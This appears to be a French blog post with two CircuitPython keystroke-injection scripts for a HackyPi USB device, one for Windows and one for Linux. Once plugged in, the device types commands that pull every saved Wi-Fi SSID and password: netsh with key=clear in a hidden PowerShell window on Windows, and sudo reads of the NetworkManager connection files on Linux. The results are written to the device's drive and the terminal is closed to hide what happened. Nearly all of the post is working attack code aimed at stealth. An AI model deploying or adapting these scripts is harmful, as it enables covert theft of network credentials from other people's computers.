lundi 28 septembre 2026

Wi-Fi Dumper sur HackPi

Sur windows :

import time

import usb_hid

from adafruit_hid.keyboard import Keyboard

from adafruit_hid.keycode import Keycode

from adafruit_hid.keyboard_layout_win_fr import KeyboardLayoutFR # Clavier AZERTY


# Initialisation du clavier

kbd = Keyboard(usb_hid.devices)

layout = KeyboardLayoutFR(kbd)


def press_combo(key1, key2):

    kbd.press(key1)

    kbd.press(key2)

    time.sleep(0.1)

    kbd.release_all()

    time.sleep(0.5)


def envoyer_commande(texte):

    layout.write(texte)

    time.sleep(0.1)

    kbd.send(Keycode.ENTER)

    time.sleep(0.4)


# --- DÉBUT DE L'EXTRACTION ---

# 1. Attente de sécurité après le branchement USB

time.sleep(4)


# 2. Ouvrir la boîte de dialogue "Exécuter" (Win + R)

press_combo(Keycode.GUI, Keycode.R)

time.sleep(0.8)


# 3. Ouvrir PowerShell en arrière-plan et de manière discrète

# -WindowStyle Hidden permet de masquer rapidement la fenêtre pour rester discret

envoyer_commande("powershell -WindowStyle Hidden")

time.sleep(1.5)


# 4. Commande PowerShell pour extraire les mots de passe Wi-Fi et les enregistrer sur le HackyPi

# Le script cherche un lecteur USB contenant un dossier ou nommé 'HACKYPI' pour y écrire 'wifi_passwords.txt'

commande_payload = (

    "$drive = (Get-Volume | Where-Size -FilterScript {$_.DriveLetter -and ($_.FileSystemLabel -eq 'HACKYPI' -or $_.FriendlyName -like '*HackyPi*')}).DriveLetter;"

    "if (-not $drive) { $drive = (Get-WMIObject Win32_Volume | Where-Object {$_.DriveType -eq 2} | Select-Object -First 1).DriveLetter };"

    "$log = \"${drive}:\\wifi_passwords.txt\";"

    "(netsh wlan show profiles) | Select-String '\\:(.+)$' | ForEach-Object { $name = $_.Matches.Groups[1].Value.Trim(); "

    "if ($name) { $pass = (netsh wlan show profile name=$name key=clear) | Select-String 'Contenu de la cl' | ForEach-Object { $_.Matches.Groups -replace '.*:\\s*', '' }; "

    "if (-not $pass) { $pass = (netsh wlan show profile name=$name key=clear) | Select-String 'Key Content' | ForEach-Object { $_.Matches.Groups -replace '.*:\\s*', '' } }; "

    "\"SSID: $name | Password: $pass\" >> $log } }; exit"

)


# 5. Injection et exécution de la commande

envoyer_commande(commande_payload)

Sur Linux être root/admin :
import time
import usb_hid
from adafruit_hid.keyboard import Keyboard
from adafruit_hid.keycode import Keycode
from adafruit_hid.keyboard_layout_win_fr import KeyboardLayoutFR # Clavier AZERTY

# Initialisation du clavier
kbd = Keyboard(usb_hid.devices)
layout = KeyboardLayoutFR(kbd)

# --- CONFIGURATION ---
MOT_DE_PASSE_SUDO = "votre_mot_de_passe"  # REQUIS sous Linux pour lire les clés de sécurité

def press_combo(key1, key2, key3=None):
    kbd.press(key1)
    kbd.press(key2)
    if key3:
        kbd.press(key3)
    time.sleep(0.1)
    kbd.release_all()
    time.sleep(0.5)

def envoyer_commande(texte):
    layout.write(texte)
    time.sleep(0.1)
    kbd.send(Keycode.ENTER)
    time.sleep(0.4)

# --- DÉBUT DE L'EXTRACTION ---
time.sleep(4) # Attente après le branchement USB

# 1. Ouvrir le terminal Linux (Ctrl + Alt + T)
press_combo(Keycode.CONTROL, Keycode.ALT, Keycode.T)
time.sleep(1.5)

# 2. Trouver dynamiquement la lettre de volume de la carte SD du HackyPi (nommée HACKYPI)
# Cette commande cherche le point de montage de la clé USB pour savoir où écrire le fichier de log.
commande_trouver_cle = "SD_PATH=$(df | grep -i 'HACKYPI' | awk '{print $6}')"
envoyer_commande(commande_trouver_cle)

# Fallback au cas où la clé n'est pas encore montée graphiquement (écriture dans /tmp)
envoyer_commande("if [ -z \"$SD_PATH\" ]; then SD_PATH='/tmp'; fi")

# 3. Commande d'extraction de tous les mots de passe stockés par NetworkManager
# On parcourt chaque fichier de configuration et on extrait le SSID (nom) et la clé PSK (mot de passe)
payload_linux = (
    "sudo bash -c 'echo \"--- Réseaux Wi-Fi Extraits ---\" > \"$SD_PATH/wifi_passwords_linux.txt\"; "
    "for f in /etc/NetworkManager/system-connections/*; do "
    "if [ -f \"$f\" ]; then "
    "ssid=$(grep -E \"^id=\" \"$f\" | cut -d= -f2); "
    "psk=$(grep -E \"^psk=\" \"$f\" | cut -d= -f2); "
    "if [ ! -z \"$psk\" ]; then echo \"SSID: $ssid | Mot de passe: $psk\" >> \"$SD_PATH/wifi_passwords_linux.txt\"; fi; "
    "fi; done'"
)

# 4. Envoi de la commande d'extraction
envoyer_commande(payload_linux)
time.sleep(1)

# 5. Injection du mot de passe sudo pour valider la lecture des fichiers protégés
envoyer_commande(MOT_DE_PASSE_SUDO)
time.sleep(2)

# 6. Nettoyage : Fermer le terminal pour ne laisser aucune trace visible
envoyer_commande("exit")

Aucun commentaire:

Enregistrer un commentaire

Archives du blog